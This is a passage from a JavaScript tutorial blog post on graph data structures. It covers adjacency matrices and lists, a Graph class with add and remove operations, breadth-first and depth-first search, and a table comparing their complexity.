<figure class="highlight plain"><figcaption><span>Adjacency Matrix</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">  a b c d e</span><br><span class="line">a 1 1 - - -</span><br><span class="line">b - - 1 - -</span><br><span class="line">c - - - 1 -</span><br><span class="line">d - 1 1 - -</span><br></pre></td></tr></table></figure>

<p>As you can see, the matrix list all nodes horizontally and vertically. If there are a few connections, we call it a <strong>sparse graph</strong>. If there are many connections (close to the max number of links), we call it a <strong>dense graph</strong>. If all possible connections are reached, then we have a <strong>complete graph</strong>.</p>
<p>It’s important to notice that the adjacency matrix will <strong>always</strong> be symmetrical by the diagonal for undirected graphs. However, that’s not always the case on a digraph (like our example).</p>
<p>What is the time complexity of finding connections of two vertices?</p>
<blockquote>
<p>Querying if two nodes are connected in an adjacency matrix takes a constant time or <em>O(1)</em>.</p>
</blockquote>
<p><a id="Matrix.space"></a></p>
<p>What is the space complexity?</p>
<blockquote>
<p>Storing a graph as an adjacency matrix has a space complexity of <em>O(n<sup>2</sup>)</em>, where <code>n</code> is the number of vertices. Also, represented as <em>O(|V|<sup>2</sup>)</em></p>
</blockquote>
<p><a id="Matrix.addVertex"></a></p>
<p>What is the runtime to add a vertex?</p>
<p>The vertices are stored as a <em><code>V</code><em>x</em><code>V</code></em> matrix. So, every time a vertex is added, the matrix needs to be reconstructed to a <em><code>V+1</code><em>x</em><code>V+1</code></em>.</p>
<blockquote>
<p>Adding a vertex on an adjacency matrix is <em>O(|V|<sup>2</sup>)</em></p>
</blockquote>
<p><a id="Matrix.getAdjacents"></a></p>
<p>What about getting the adjacent nodes?</p>
<p>Since the matrix has a VxV matrix, we would have to go to the node row to get all the adjacent nodes to a given vertex and get all its edges with the other nodes.</p>
<p>In our previous example, let’s say we want all the adjacent nodes to <code>b</code>. We have to get the full row where b is with all the other nodes.</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">  a b c d e</span><br><span class="line">b - - 1 - -</span><br></pre></td></tr></table></figure>

<p>We have to visit all nodes so,</p>
<blockquote>
<p>Getting adjacent nodes on an adjacency matrix is <em>O(|V|)</em></p>
</blockquote>
<p>Imagine that you need to represent the Facebook network as a graph. You would have to create a matrix of 2 billion x 2 billion, where most of it would be empty! Nobody would know everybody else, just a few thousand at most.</p>
<p>In general, we deal with sparse graphs so that the matrix will waste a lot of space. That’s why, in most implementations, we would use an adjacency list rather than the matrix.</p>
<h3 id="Adjacency-List"><a href="#Adjacency-List" class="headerlink" title="Adjacency List"></a>Adjacency List</h3><p>Adjacency List is one of the most common ways to represent graphs. Each node has a list of all the nodes connected to it.</p>
<p>Graphs can be represented as an adjacency list using an Array (or HashMap) containing the nodes. Each node includes a list (Array, linked list, set, etc.) that lists its adjacent nodes.</p>
<p>For instance, in the graph above we have that <code>a</code> has a connection to <code>b</code> and also a self-loop to itself. In turn, <code>b</code> has a connection to <code>c</code> and so on:</p>
<figure class="highlight plain"><figcaption><span>Adjacency List</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">a -&gt; &#123; a b &#125;</span><br><span class="line">b -&gt; &#123; c &#125;</span><br><span class="line">c -&gt; &#123; d &#125;</span><br><span class="line">d -&gt; &#123; b c &#125;</span><br></pre></td></tr></table></figure>

<p>As you can imagine, if you want to know if a node is connected to another node, you would have to go through the list.</p>
<blockquote>
<p>Querying if two nodes are connected in an adjacency list is <em>O(n)</em>, where <code>n</code> is the number of vertices. Also represented as <em>O(|V|)</em></p>
</blockquote>
<p><a id="List.space"></a></p>
<p>What about space complexity?</p>
<blockquote>
<p>Storing a graph as an adjacency list has a space complexity of <em>O(n)</em>, where <code>n</code> is the sum of vertices and edges. Also, represented as <em>O(|V| + |E|)</em></p>
</blockquote>
<h2 id="Adjacency-List-Graph-HashMap-Implementation"><a href="#Adjacency-List-Graph-HashMap-Implementation" class="headerlink" title="Adjacency List Graph HashMap Implementation"></a>Adjacency List Graph HashMap Implementation</h2><p>The adjacency list is the most common way of representing graphs. There are several ways to implement the adjacency list:</p>
<p>One of them is using a HashMap. The <code>key</code> is the node’s value, and the <code>value</code> is an array of adjacency.</p>
<figure class="highlight js"><figcaption><span>Adjacency List as a Hashmap</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> graph = &#123;</span><br><span class="line">  a: [<span class="string">&#x27;a&#x27;</span>, <span class="string">&#x27;b&#x27;</span>],</span><br><span class="line">  b: [<span class="string">&#x27;c&#x27;</span>],</span><br><span class="line">  c: [<span class="string">&#x27;d&#x27;</span>],</span><br><span class="line">  d: [<span class="string">&#x27;b&#x27;</span>, <span class="string">&#x27;c&#x27;</span>]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Graph usually needs the following operations:</p>
<ul>
<li>Add and remove vertices</li>
<li>Add and remove edges</li>
</ul>
<p>Adding and removing vertices involves updating the adjacency list.</p>
<p>Let’s say that we want to remove the vertex <code>b</code>. We could do <code>delete graph[&#39;b&#39;];</code>. However, we still have to remove the references on the adjacency list on <code>d</code> and <code>a</code>.</p>
<p>Every time we remove a node, we would have to iterate through all the nodes’ list <em>O(|V| + |E|)</em>.  Can we do better? We will answer that soon, but first, let’s *implement our list in a more object-oriented way to swap implementations easily.</p>
<h2 id="Adjacency-List-Graph-OO-Implementation"><a href="#Adjacency-List-Graph-OO-Implementation" class="headerlink" title="Adjacency List Graph OO Implementation"></a>Adjacency List Graph OO Implementation</h2><p>Let’s start with the <code>Node</code> class that holds the vertex’s value and adjacent vertices. We can also have helper functions for adding and removing adjacent nodes from the list.</p>
<p><a id="Node.getAdjacents"></a></p>
<figure class="highlight js"><figcaption><span>Node</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/graphs/node.js">Commented Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Node</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>(value) &#123;</span><br><span class="line">    <span class="built_in">this</span>.value = value;</span><br><span class="line">    <span class="built_in">this</span>.adjacents = []; <span class="comment">// adjacency list</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  addAdjacent(node) &#123;</span><br><span class="line marked">    <span class="built_in">this</span>.adjacents.push(node);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  removeAdjacent(node) &#123;</span><br><span class="line">    <span class="keyword">const</span> index = <span class="built_in">this</span>.adjacents.indexOf(node);</span><br><span class="line">    <span class="keyword">if</span>(index &gt; <span class="number">-1</span>) &#123;</span><br><span class="line marked">      <span class="built_in">this</span>.adjacents.splice(index, <span class="number">1</span>);</span><br><span class="line">      <span class="keyword">return</span> node;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  getAdjacents() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.adjacents;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  isAdjacent(node) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.adjacents.indexOf(node) &gt; <span class="number">-1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Notice that <code>adjacent</code> runtime is <em>O(1)</em>, while <code>remove adjacent</code> is <em>O(|E|)</em>. What if, instead of an array, use a HashSet 🧐? It could be <em>O(1)</em>. But, let first get it working, and later we can make it faster.</p>
<blockquote>
<p>Make it work. Make it right. Make it faster.</p>
</blockquote>
<p>Ok, now that we have the <code>Node</code> class, let’s build the Graph class to perform operations such as adding/removing vertices and edges.</p>
<p><strong>Graph.constructor</strong></p>
<figure class="highlight js"><figcaption><span>Graph.constructor</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/graphs/graph.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Graph</span> </span>&#123;</span><br><span class="line marked">  <span class="keyword">constructor</span>(edgeDirection = Graph.DIRECTED) &#123;</span><br><span class="line">    <span class="built_in">this</span>.nodes = <span class="keyword">new</span> <span class="built_in">Map</span>();</span><br><span class="line marked">    <span class="built_in">this</span>.edgeDirection = edgeDirection;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line marked">Graph.UNDIRECTED = <span class="built_in">Symbol</span>(<span class="string">&#x27;undirected graph&#x27;</span>); <span class="comment">// two-ways edges</span></span><br><span class="line marked">Graph.DIRECTED = <span class="built_in">Symbol</span>(<span class="string">&#x27;directed graph&#x27;</span>); <span class="comment">// one-way edges</span></span><br></pre></td></tr></table></figure>

<p>The first thing that we need to know is if the graph is directed or undirected. That makes a difference when we are adding edges.</p>
<p><a id="Graph.addEdge"></a></p>
<p><strong>Graph.addEdge</strong></p>
<p>To add an edge, we need two nodes. One is the source, and the other is the destination.</p>
<figure class="highlight js"><figcaption><span>Graph.addEdge</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/graphs/graph.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">addEdge(source, destination) &#123;</span><br><span class="line">  <span class="keyword">const</span> sourceNode = <span class="built_in">this</span>.addVertex(source);</span><br><span class="line">  <span class="keyword">const</span> destinationNode = <span class="built_in">this</span>.addVertex(destination);</span><br><span class="line"></span><br><span class="line">  sourceNode.addAdjacent(destinationNode);</span><br><span class="line"></span><br><span class="line marked">  <span class="keyword">if</span>(<span class="built_in">this</span>.edgeDirection === Graph.UNDIRECTED) &#123;</span><br><span class="line">    destinationNode.addAdjacent(sourceNode);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> [sourceNode, destinationNode];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We add an edge from the source vertex to the destination. If we have an undirected graph, we also add from target node to source since it’s bidirectional.</p>
<blockquote>
<p>The runtime of adding an edge from a graph adjacency list is: <em>O(1)</em></p>
</blockquote>
<p>If we try to add an edge and the nodes don’t exist, we need to create them first. Let’s do that next!</p>
<p><a id="Graph.addVertex"></a></p>
<p><strong>Graph.addVertex</strong></p>
<!-- If you look at the constructor, you will notice that we created a HashMap to hold all the nodes in the graph. We use the hashMap to know if the vertex already exists and get it quickly. -->

<p>The way we create a node is that we add it to the <code>this.nodes</code> Map. The map store a key/value pair, where the <code>key</code> is the vertex’s value while the map <code>value</code> is the instance of the node class. Take a look at line 5-6:</p>
<figure class="highlight js"><figcaption><span>Graph.addVertex</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/graphs/graph.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">addVertex(value) &#123;</span><br><span class="line">  <span class="keyword">if</span>(<span class="built_in">this</span>.nodes.has(value)) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.nodes.get(value);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line marked">    <span class="keyword">const</span> vertex = <span class="keyword">new</span> Node(value);</span><br><span class="line marked">    <span class="built_in">this</span>.nodes.set(value, vertex);</span><br><span class="line">    <span class="keyword">return</span> vertex;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>If the node already exists, we don’t want to overwrite it. So, we first check if it already exists, and if it doesn’t, then we create it.</p>
<blockquote>
<p>The runtime of adding a vertex from a graph adjacency list is: <em>O(1)</em></p>
</blockquote>
<p><a id="Graph.removeVertex"></a></p>
<p><strong>Graph.removeVertex</strong></p>
<p>Removing a node from the graph, it’s a little bit more involved. We have to check if the node to be deleted it’s in use as an adjacent node.</p>
<figure class="highlight js"><figcaption><span>Graph.removeVertex</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/graphs/graph.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">removeVertex(value) &#123;</span><br><span class="line">  <span class="keyword">const</span> current = <span class="built_in">this</span>.nodes.get(value);</span><br><span class="line">  <span class="keyword">if</span>(current) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">const</span> node <span class="keyword">of</span> <span class="built_in">this</span>.nodes.values()) &#123;</span><br><span class="line marked">      node.removeAdjacent(current);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line marked">  <span class="keyword">return</span> <span class="built_in">this</span>.nodes.delete(value);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We have to go through each vertex and then each adjacent node (edges).</p>
<blockquote>
<p>The runtime of removing a vertex from a graph adjacency list is <em>O(|V| + |E|)</em></p>
</blockquote>
<p>Finally, let’s remove implement removing an edge!</p>
<p><a id="Graph.removeEdge"></a></p>
<p><strong>Graph.removeEdge</strong></p>
<p>Removing an edge is pretty straightforward and similar to <code>addEdge</code>.</p>
<figure class="highlight js"><figcaption><span>Graph.removeVertex</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/graphs/graph.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">removeEdge(source, destination) &#123;</span><br><span class="line">  <span class="keyword">const</span> sourceNode = <span class="built_in">this</span>.nodes.get(source);</span><br><span class="line">  <span class="keyword">const</span> destinationNode = <span class="built_in">this</span>.nodes.get(destination);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(sourceNode &amp;&amp; destinationNode) &#123;</span><br><span class="line marked">    sourceNode.removeAdjacent(destinationNode);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(<span class="built_in">this</span>.edgeDirection === Graph.UNDIRECTED) &#123;</span><br><span class="line marked">      destinationNode.removeAdjacent(sourceNode);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> [sourceNode, destinationNode];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>The main difference between <code>addEdge</code> and <code>removeEdge</code> is that:</p>
<ul>
<li>If the vertices don’t exist, we won’t create them.</li>
<li>We use <code>Node.removeAdjacent</code> instead of <code>Node.addAdjacent</code>.</li>
</ul>
<p>Since <code>removeAdjacent</code> has to go through all the adjacent vertices, we have the following runtime:</p>
<blockquote>
<p>The runtime of removing an edge from a graph adjacency list is <em>O(|E|)</em></p>
</blockquote>
<p>We are going to explore how to search for values from a node.</p>
<h2 id="Breadth-first-search-BFS-Graph-search"><a href="#Breadth-first-search-BFS-Graph-search" class="headerlink" title="Breadth-first search (BFS) - Graph search"></a>Breadth-first search (BFS) - Graph search</h2><p>Breadth-first search is a way to navigate a graph from an initial vertex by visiting all the adjacent nodes first.</p>
<img src="https://upload.wikimedia.org/wikipedia/commons/5/5d/Breadth-First-Search-Algorithm.gif" class="" title="Breadth-First Search in a graph">

<p>Let’s see how we can accomplish this in code:</p>
<figure class="highlight js"><figcaption><span>Graph.bfs</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/graphs/graph.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">*bfs(first) &#123;</span><br><span class="line">  <span class="keyword">const</span> visited = <span class="keyword">new</span> <span class="built_in">Map</span>();</span><br><span class="line marked">  <span class="keyword">const</span> visitList = <span class="keyword">new</span> Queue();</span><br><span class="line"></span><br><span class="line">  visitList.add(first);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span>(!visitList.isEmpty()) &#123;</span><br><span class="line">    <span class="keyword">const</span> node = visitList.remove();</span><br><span class="line">    <span class="keyword">if</span>(node &amp;&amp; !visited.has(node)) &#123;</span><br><span class="line">      <span class="keyword">yield</span> node;</span><br><span class="line">      visited.set(node);</span><br><span class="line">      node.getAdjacents().forEach(<span class="function"><span class="params">adj</span> =&gt;</span> visitList.add(adj));</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>As you can see, we are using a <code>Queue</code> where the first node is also the first node to be visited (FIFO). You can find the <a href="https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/5628a2772513a05ceb3f088976b81914c9951fd2/src/data-structures/queues/queue.js#L47">Queue implementation here</a>.</p>
<p>We are using <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator">JavaScript generators</a>, notice the <code>*</code> in front of the function. This generator iterates one value at a time. That’s useful for large graphs (millions of nodes) because you don’t need to visit every single node in most cases.</p>
<p>This an example of how to use the BFS that we just created:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> graph = <span class="keyword">new</span> Graph(Graph.UNDIRECTED);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> [first] = graph.addEdge(<span class="number">1</span>, <span class="number">2</span>);</span><br><span class="line">graph.addEdge(<span class="number">1</span>, <span class="number">3</span>);</span><br><span class="line">graph.addEdge(<span class="number">1</span>, <span class="number">4</span>);</span><br><span class="line">graph.addEdge(<span class="number">5</span>, <span class="number">2</span>);</span><br><span class="line">graph.addEdge(<span class="number">6</span>, <span class="number">3</span>);</span><br><span class="line">graph.addEdge(<span class="number">7</span>, <span class="number">3</span>);</span><br><span class="line">graph.addEdge(<span class="number">8</span>, <span class="number">4</span>);</span><br><span class="line">graph.addEdge(<span class="number">9</span>, <span class="number">5</span>);</span><br><span class="line">graph.addEdge(<span class="number">10</span>, <span class="number">6</span>);</span><br><span class="line"></span><br><span class="line">bfsFromFirst = graph.bfs(first);</span><br><span class="line"></span><br><span class="line">bfsFromFirst.next().value.value; <span class="comment">// 1</span></span><br><span class="line">bfsFromFirst.next().value.value; <span class="comment">// 2</span></span><br><span class="line">bfsFromFirst.next().value.value; <span class="comment">// 3</span></span><br><span class="line">bfsFromFirst.next().value.value; <span class="comment">// 4</span></span><br><span class="line"><span class="comment">// ...</span></span><br></pre></td></tr></table></figure>

<p>You can find more illustrations of usage in the <a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/graphs/graph.spec.js">test cases</a>. Let’s move on to the DFS!</p>
<h2 id="Depth-first-search-DFS-Graph-search"><a href="#Depth-first-search-DFS-Graph-search" class="headerlink" title="Depth-first search (DFS)  - Graph search"></a>Depth-first search (DFS)  - Graph search</h2><p>Depth-first search is another way to navigate a graph from an initial vertex by recursively the first adjacent node of each vertex found.</p>
<img src="https://upload.wikimedia.org/wikipedia/commons/7/7f/Depth-First-Search.gif" class="" title="Depth First Search in a graph">

<p>The iterative implementation of a DFS is identical to the BFS, but instead of using a <code>Queue</code> you use a <code>Stack</code>:</p>
<p>NOTE: <a href="https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/master/src/data-structures/stacks/stack.js">stack implementation</a></p>
<figure class="highlight js"><figcaption><span>Graph.dfs</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/graphs/graph.js">Full Code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">*dfs(first) &#123;</span><br><span class="line">  <span class="keyword">const</span> visited = <span class="keyword">new</span> <span class="built_in">Map</span>();</span><br><span class="line marked">  <span class="keyword">const</span> visitList = <span class="keyword">new</span> Stack();</span><br><span class="line"></span><br><span class="line">  visitList.add(first);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span>(!visitList.isEmpty()) &#123;</span><br><span class="line">    <span class="keyword">const</span> node = visitList.remove();</span><br><span class="line">    <span class="keyword">if</span>(node &amp;&amp; !visited.has(node)) &#123;</span><br><span class="line">      <span class="keyword">yield</span> node;</span><br><span class="line">      visited.set(node);</span><br><span class="line">      node.getAdjacents().forEach(<span class="function"><span class="params">adj</span> =&gt;</span> visitList.add(adj));</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We can test our graph as follow.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> graph = <span class="keyword">new</span> Graph(Graph.UNDIRECTED);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> [first] = graph.addEdge(<span class="number">1</span>, <span class="number">2</span>);</span><br><span class="line">graph.addEdge(<span class="number">1</span>, <span class="number">3</span>);</span><br><span class="line">graph.addEdge(<span class="number">1</span>, <span class="number">4</span>);</span><br><span class="line">graph.addEdge(<span class="number">5</span>, <span class="number">2</span>);</span><br><span class="line">graph.addEdge(<span class="number">6</span>, <span class="number">3</span>);</span><br><span class="line">graph.addEdge(<span class="number">7</span>, <span class="number">3</span>);</span><br><span class="line">graph.addEdge(<span class="number">8</span>, <span class="number">4</span>);</span><br><span class="line">graph.addEdge(<span class="number">9</span>, <span class="number">5</span>);</span><br><span class="line">graph.addEdge(<span class="number">10</span>, <span class="number">6</span>);</span><br><span class="line"></span><br><span class="line">dfsFromFirst = graph.dfs(first);</span><br><span class="line">visitedOrder = <span class="built_in">Array</span>.from(dfsFromFirst);</span><br><span class="line"><span class="keyword">const</span> values = visitedOrder.map(<span class="function"><span class="params">node</span> =&gt;</span> node.value);</span><br><span class="line"><span class="built_in">console</span>.log(values); <span class="comment">// [1, 4, 8, 3, 7, 6, 10, 2, 5, 9]</span></span><br></pre></td></tr></table></figure>

<p>As you can see, the graph is the same on BFS and DFS. However, the order of how the nodes were visited is very different. BFS went from 1 to 10 in that order, while DFS went as deep as it could on each node.</p>
<!--Let's see some applications where DFS and BFS can be useful.

### Find the path in a Graph

Let's say you are exploring your social network, and you want to know who can introduce you to Mark Zuckerberg.

{ img /images/you-mark-connections-graph2.png "Friends graph between you and Mark Zuckerberg" %}

Your code uses a DFS or BFS and iterates until you find the vertex you are looking for (e.g., Mark). It will indicate to us if two vertices are **connected**. Let's start with that.

{ codeblock Graph.areConnected lang:js mark:6 https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/graphs/graph.js Full Code }
  areConnected(source, destination) {
    const sourceNode = this.nodes.get(source);
    const destinationNode = this.nodes.get(destination);

    if(sourceNode && destinationNode) {
      const bfsFromFirst = this.bfs(sourceNode);
      for (const node of bfsFromFirst) {
        if(node === destinationNode) {
          return true;
        }
      }
    }

    return false;
  }
{ endcodeblock }

With this function, we get if two nodes are connected or not. However, they don't give us a path.-->

<h2 id="Graph-Time-and-Space-Complexity"><a href="#Graph-Time-and-Space-Complexity" class="headerlink" title="Graph Time and Space Complexity"></a>Graph Time and Space Complexity</h2><p>We have seen some of the basic operations of a Graph. How to add and remove vertices and edges. Here’s a summary of what we have covered so far:</p>
<!-- Implementation | Space | addVertex | removeVertex | addEdge | removeEdge | getAdjacents | areConnected -->
<!-- - | - | - | - | - | - | - | - &#124; -->
<!-- Adjacency List | -->

<table>
<thead>
<tr>
<th>&nbsp;</th>
<th>Adjacency List</th>
<th>Adjacency Matrix</th>
</tr>
</thead>
<tbody><tr>
<td>Space</td>
<td><a href="#List.space">O(&#124;V&#124; + &#124;E&#124;)</a></td>
<td><a href="#Matrix.space">O(&#124;V&#124;<sup>2</sup>)</a></td>
</tr>
<tr>
<td>addVertex</td>
<td><a href="#Graph.addVertex">O(1)</a></td>
<td><a href="#Matrix.addVertex">O(&#124;V&#124;<sup>2</sup>)</a></td>
</tr>
<tr>
<td>removeVertex</td>
<td><a href="#Graph.removeVertex">O(&#124;V&#124; + &#124;E&#124;)</a></td>
<td><a href="#Matrix.addVertex">O(&#124;V&#124;<sup>2</sup>)</a></td>
</tr>
<tr>
<td>addEdge</td>
<td><a href="#Graph.addEdge">O(1)</a></td>
<td><a href="#Matrix.addVertex">O(1)</a></td>
</tr>
<tr>
<td>removeEdge (using Array)</td>
<td><a href="#Graph.removeEdge">O(&#124;E&#124;)</a></td>
<td><a href="#Matrix.addVertex">O(1)</a></td>
</tr>
<tr>
<td>removeEdge (using HashSet)</td>
<td>O(1)</td>
<td><a href="#Matrix.addVertex">O(1)</a></td>
</tr>
<tr>
<td>getAdjacents</td>
<td><a href="#Node.getAdjacents">O(&#124;E&#124;)</a></td>
<td><a href="#Matrix.getAdjacents">O(&#124;V&#124;)</a></td>
</tr>
<tr>
<td>isAdjacent (using Array)</td>
<td><a href="#Node.getAdjacents">O(&#124;E&#124;)</a></td>
<td><a href="#Matrix.getAdjacents">O(1)</a></td>
</tr>
<tr>
<td>isAdjacent (using HashSet)</td>
<td>O(1)</td>
<td><a href="#Matrix.getAdjacents">O(1)</a></td>
</tr>
</tbody></table>
<!-- areConnected | | -->

<p>As you can see, an adjacency list is faster in almost all operations. The only action that the adjacency matrix will outperform the adjacency list is checking if a node is adjacent to another. However, if we change our implementation from Array to a HashSet, we can get it in constant time.</p>
<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>As we saw, Graphs can help to model many real-life scenarios such as airports, social networks, the internet, and so on. We covered some of the most fundamental algorithms, such as Breadth-First Search (BFS) and Depth-First Search (DFS). Also, we studied implementation trade-offs such as adjacency lists and matrix. Subscribe to my newsletter and don’t miss any of my posts because there are many other applications that we will learn soon, such as finding the shortest path between nodes and different exciting graph algorithms!</p>
<!-- https://www.slideshare.net/hafsakomal/graphs-49204527 -->
<!-- https://www.slideshare.net/Abrish06/graph-48747573?next_slideshow=1 -->

<!-- http://ccicada.org/wp-content/uploads/2017/06/Community-Detection-with-Hierarchical-Clustering-Algorithms-Feb-3-2017.pdf -->

<!-- https://dreampuf.github.io/GraphvizOnline/ -->
<!-- http://www.webgraphviz.com/ -->
<!-- http://graphviz.readthedocs.io/en/stable/examples.html -->

<!-- https://www.python.org/doc/essays/graphs/ -->

<!-- Social Network Visualizations -->
<!-- http://socilab.com/#home -->
<!-- http://blog.stephenwolfram.com/2012/08/wolframalpha-personal-analytics-for-facebook/ -->


<!-- https://github.com/trekhleb/javascript-algorithms/tree/master/src/data-structures/graph -->
<!-- https://github.com/trekhleb/javascript-algorithms/tree/master/src/algorithms/graph/breadth-first-search -->

<!-- Backlinks

